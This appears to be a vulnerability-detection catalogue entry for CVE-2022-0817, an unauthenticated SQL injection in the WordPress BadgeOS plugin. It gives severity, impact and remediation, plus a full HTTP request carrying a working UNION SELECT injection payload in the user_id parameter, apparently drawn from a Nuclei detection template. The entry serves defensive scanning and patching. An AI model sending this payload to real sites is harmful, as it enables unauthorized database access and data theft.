🔙 목록으로 돌아가기

CVE-2022-0817: WordPress BadgeOS <=3.7.0 - SQL Injection

TitleWordPress BadgeOS <=3.7.0 - SQL Injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
RemediationUpdate to the latest version of the BadgeOS plugin (>=3.7.1) to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.64589
CVE IDCVE-2022-0817
CWE IDCWE-89
Tags cve cve2022 wp unauth sqli wp-plugin badgeos wpscan wordpress vuln

🔍 Vulnerability Description

WordPress BadgeOS plugin through 3.7.0 contains a SQL injection vulnerability. It does not sanitize and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 158
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=get-achievements&total_only=true&user_id=11 UNION ALL SELECT NULL,CONCAT(1,md5(9518),1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0817.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0817.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A